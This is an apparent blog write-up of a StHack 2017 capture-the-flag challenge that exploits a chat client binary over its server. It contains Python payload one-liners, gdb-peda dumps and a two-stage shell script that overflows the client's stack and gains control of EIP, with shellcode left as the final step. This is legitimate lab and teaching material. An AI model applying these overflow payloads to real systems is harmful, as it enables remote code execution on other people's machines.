Write-up StHack 2017 (client/server challenge)

Date Tue 11 April 2017 By Emmanuel Fleury Category security

The challenge was about exploiting a client/server chat framework. Both, client and server software were given as binaries (see files below).

On the online challenge, you could find a server running (of course) and a client (always reconnecting if you manage to crash it).

After a few time, I decided to suppose that the server was not vulnerable, and the client was the weakest point (indeed, the client was compiled with -zexestack where the server wasn’t). Thus, I tried to exploit the connected client through the server and a client that I was running.

Locally, I started a server on port 4242:

#> ./server 4242

Then, a target client (using gdb to trace it):

#> gdb-peda ./client
(peda) run 127.0.0.1 4242
Starting program: ./client 127.0.0.1 4242
server> ANONYM_1 join

Then, I try to find the limits of the chat framework:

#> python -c 'print("A" * 250 + "\n")' | ./client 127.0.0.1 4242
tcgetattr(): Inappropriate ioctl for device
server> ANONYM_2 join
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANONYM_2>

And, on the ANONYM_1 client terminal:

server> ANONYM_2 join
ANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANONYM_2>

Yet, when trying to get 251 characters written at once, I got the following:

#> python -c 'print("A" * 251 + "\n")' | ./client 127.0.0.1 4242
tcgetattr(): Inappropriate ioctl for device
server> ANONYM_2 join
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed              
tcsetattr(): Inappropriate ioctl for device

And, on the ANONYM_1 client terminal:

server> ANONYM_2 join
ANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed
[Inferior 1 (process 15351) exited normally]
Warning: not running or target is remote

Okay, I got the first client to be closed (as for the first one!).

Getting a bit more in the details, I noticed that the closing of the TCP connection was decided in the read_server() function (I tracked it down by following the ‘-1’ returned by the functions stacked on the call-stack) and, more precisely at the following assembly lines (inside read_server()):

0x8048f62:     movzbl %al,%eax
0x8048f65:     test   %eax,%eax
0x8048f67:     je     8048f70 <read_server+0x37>
0x8048f69:     cmp    $0x1,%eax
0x8048f6c:     je     8048f83 <read_server+0x4a>
0x8048f6e:     jmp    8048f96 <read_server+0x5d>

Setting a breakpoint on 0x8048f69 leads to the following (when triggering a close()):

[----------------------------------registers-----------------------------------]
 EAX: 0x1 
 EBX: 0x1 
 ECX: 0x0 
 EDX: 0x0 
 ESI: 0x8 
 EDI: 0xffffd120 --> 0x92100002 
 EBP: 0xffffcf48 --> 0xffffd158 --> 0x0 
 ESP: 0xffffcf30 --> 0x0 
 EIP: 0x8048f69 (<read_server+48>:  cmp    $0x1,%eax)
 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f62 <read_server+41>:  movzbl %al,%eax
   0x8048f65 <read_server+44>:  test   %eax,%eax
   0x8048f67 <read_server+46>:  je     0x8048f70 <read_server+55>
=> 0x8048f69 <read_server+48>:  cmp    $0x1,%eax
   0x8048f6c <read_server+51>:  je     0x8048f83 <read_server+74>
   0x8048f6e <read_server+53>:  jmp    0x8048f96 <read_server+93>
   0x8048f70 <read_server+55>:  sub    $0x8,%esp
   0x8048f73 <read_server+58>:  pushl  0xc(%ebp)
[------------------------------------stack-------------------------------------]
 0000| 0xffffcf30 --> 0x0 
 0004| 0xffffcf34 --> 0x8 
 0008| 0xffffcf38 --> 0xffffd120 --> 0x92100002 
 0012| 0xffffcf3c --> 0x1048d0f 
 0016| 0xffffcf40 --> 0x4 
 0020| 0xffffcf44 --> 0xffffd0a0 --> 0x8 
 0024| 0xffffcf48 --> 0xffffd158 --> 0x0 
 0028| 0xffffcf4c --> 0x8048da9 (<main+690>: add    $0x10,%esp)
[------------------------------------------------------------------------------]

Breakpoint 1, 0x08048f69 in read_server ()
(peda) c
Continuing.
server> ANONYM_1 join
...
[----------------------------------registers-----------------------------------]
 EAX: 0x41 ('A')
 EBX: 0x1 
 ECX: 0x0 
 EDX: 0x0 
 ESI: 0x8 
 EDI: 0xffffd120 --> 0x92100002 
 EBP: 0xffffcf48 --> 0xffffd158 --> 0x0 
 ESP: 0xffffcf30 --> 0x0 
 EIP: 0x8048f69 (<read_server+48>:  cmp    $0x1,%eax)
 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f62 <read_server+41>:  movzbl %al,%eax
   0x8048f65 <read_server+44>:  test   %eax,%eax
   0x8048f67 <read_server+46>:  je     0x8048f70 <read_server+55>
=> 0x8048f69 <read_server+48>:  cmp    $0x1,%eax
   0x8048f6c <read_server+51>:  je     0x8048f83 <read_server+74>
   0x8048f6e <read_server+53>:  jmp    0x8048f96 <read_server+93>
   0x8048f70 <read_server+55>:  sub    $0x8,%esp
   0x8048f73 <read_server+58>:  pushl  0xc(%ebp)
[------------------------------------stack-------------------------------------]
 0000| 0xffffcf30 --> 0x0 
 0004| 0xffffcf34 --> 0x8 
 0008| 0xffffcf38 --> 0xffffd120 --> 0x92100002 
 0012| 0xffffcf3c --> 0x41048d0f 
 0016| 0xffffcf40 --> 0x4 
 0020| 0xffffcf44 --> 0xffffd0a0 --> 0x8 
 0024| 0xffffcf48 --> 0xffffd158 --> 0x0 
 0028| 0xffffcf4c --> 0x8048da9 (<main+690>:  add    $0x10,%esp)
[------------------------------------------------------------------------------]

Note that, during a correct exchange with the server, eax is set to 0x1.

After a few trial and error session, I finally located the character to set to 0x1 to pass this condition.

#> python -c 'print("\x01" * 67 + "B" * (250 - 67) + "\n")' | ./client 127.0.0.1 4242

Here, the target client was not closing the TCP connection anymore. So, I decided to add a bit more to the payload:

#> python -c 'print("\x01" * 66 + "A" * 185 + "\n")'  | ./client 127.0.0.1 4242
tcgetattr(): Inappropriate ioctl for device
server> ANONYM_2 join
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANONYM_2>
server> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault

And, on the target client, we have:

[----------------------------------registers-----------------------------------]
  EAX: 0x41414141 ('AAAA')
  EBX: 0x1 
  ECX: 0xffffceed ("server> ", 'A' <repeats 65 times>)
  EDX: 0x49 ('I')
  ESI: 0x8
  EDI: 0xffffd120 --> 0x92100002 
  EBP: 0xffffcec8 --> 0xffffcf18 ('A' <repeats 30 times>)
  ESP: 0xffffceb0 --> 0xf7fe2940 (add    $0x1a6c0,%edi)
  EIP: 0x80489c9 (<write_term+81>:  mov    0x13c(%eax),%eax)
  EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80489bf <write_term+71>:   add    $0x10,%esp
   0x80489c2 <write_term+74>:   addl   $0x1,-0xc(%ebp)
   0x80489c6 <write_term+78>:   mov    0x10(%ebp),%eax
=> 0x80489c9 <write_term+81>:   mov    0x13c(%eax),%eax
   0x80489cf <write_term+87>:   cmp    -0xc(%ebp),%eax
   0x80489d2 <write_term+90>:   jg     0x80489ae <write_term+54>
   0x80489d4 <write_term+92>:   sub    $0x4,%esp
   0x80489d7 <write_term+95>:   push   $0x1
[------------------------------------stack-------------------------------------]
 0000| 0xffffceb0 --> 0xf7fe2940 (add    $0x1a6c0,%edi)
 0004| 0xffffceb4 --> 0xf7df77c8 --> 0x4a74 ('tJ')
 0008| 0xffffceb8 --> 0x41 ('A')
 0012| 0xffffcebc --> 0x49 ('I')
 0016| 0xffffcec0 --> 0x0 
 0020| 0xffffcec4 --> 0xffffd120 --> 0x92100002 
 0024| 0xffffcec8 --> 0xffffcf18 ('A' <repeats 30 times>)
 0028| 0xffffcecc --> 0x8048e7c (<server_msg+123>:  add    $0x10,%esp)
[------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
0x080489c9 in write_term ()

So, it seems that we try to get something from 0x41414141 in memory. Lets try to get something more suitable (something like 0xffff0101):

#> python -c 'print("\x01" * 66 + "\x01\x01\xff\xff" * 46 + "\xff" + "\n")'  | ./client 127.0.0.1 4242

This time the target client did not crash and is still waiting for some other data.

Then, I tried to enlarge the payload and various other things but nothing was really moving. So, I decided to disconnect the attack client and reconnect to send another payload. It turned out that the second payload was indeed able to take the control of the saved eip at some point.

Here is the script I came out after a (too long) trials and errors session:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/bin/sh
# First connection (injecting first part of the payload)
(python -c 'print("\x01" * 246 + "\x01\x01\xff\xff" + "A" + "\n")' | ./client 127.0.0.1 4242) &

# Killing the hanging client process after one second
PID=$!
sleep 1
kill -9 $PID

# Second connection (triggering the exploitation)
(python -c 'print("\x01\x01\xff\xff" * 2 + "\xef\xbe\xad\xde" + "\x02\x01\xff\xff" * 2 + "AAAA" * 61 + "\n")' | ./client 127.0.0.1 4242) &

The result on the target client is the following:

[----------------------------------registers-----------------------------------]
 EAX: 0x0 
 EBX: 0x1 
 ECX: 0xffff013e --> 0x0 
 EDX: 0x0 
 ESI: 0x8 
 EDI: 0xffffd120 --> 0x92100002 
 EBP: 0xffff0101 --> 0x0 
 ESP: 0xffffcf20 --> 0xffff0102 --> 0x0 
 EIP: 0xdeadbeef
 EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
 0000| 0xffffcf20 --> 0xffff0102 --> 0x0 
 0004| 0xffffcf24 --> 0xffff0102 --> 0x0 
 0008| 0xffffcf28 ('A' <repeats 200 times>...)
 0012| 0xffffcf2c ('A' <repeats 200 times>...)
 0016| 0xffffcf30 ('A' <repeats 196 times>, "\020ii\r"...)
 0020| 0xffffcf34 ('A' <repeats 192 times>, "\020ii\r@")
 0024| 0xffffcf38 ('A' <repeats 188 times>, "\020ii\r@")
 0028| 0xffffcf3c ('A' <repeats 184 times>, "\020ii\r@")
[------------------------------------------------------------------------------]
 Stopped reason: SIGSEGV
 0xdeadbeef in ?? ()
 (peda) bt
 #0  0xdeadbeef in ?? ()
 #1  0xffff0102 in ?? ()
 Backtrace stopped: previous frame inner to this frame (corrupt stack?)

This is nearly the end now, because the client had an executable stack and no ASLR (system wide). So, we just need to send a reverse bindshell shellcode and replace 0xdeadbeef by the address of the begining of this shellcode. Anyway, we have way enough space to fit it in the final A padding at the end of the second injection, so there is no more trouble here.

Finally, this challenge was a quite painfull and boring. It looks like the path to the eip control was hardcoded in some artificial way and not really triggered by a programming bug. Also, it would have been nice to have the source code of these programs (it would have considerably speed-up the analysis as we only had about 8h to do the challenges).

Material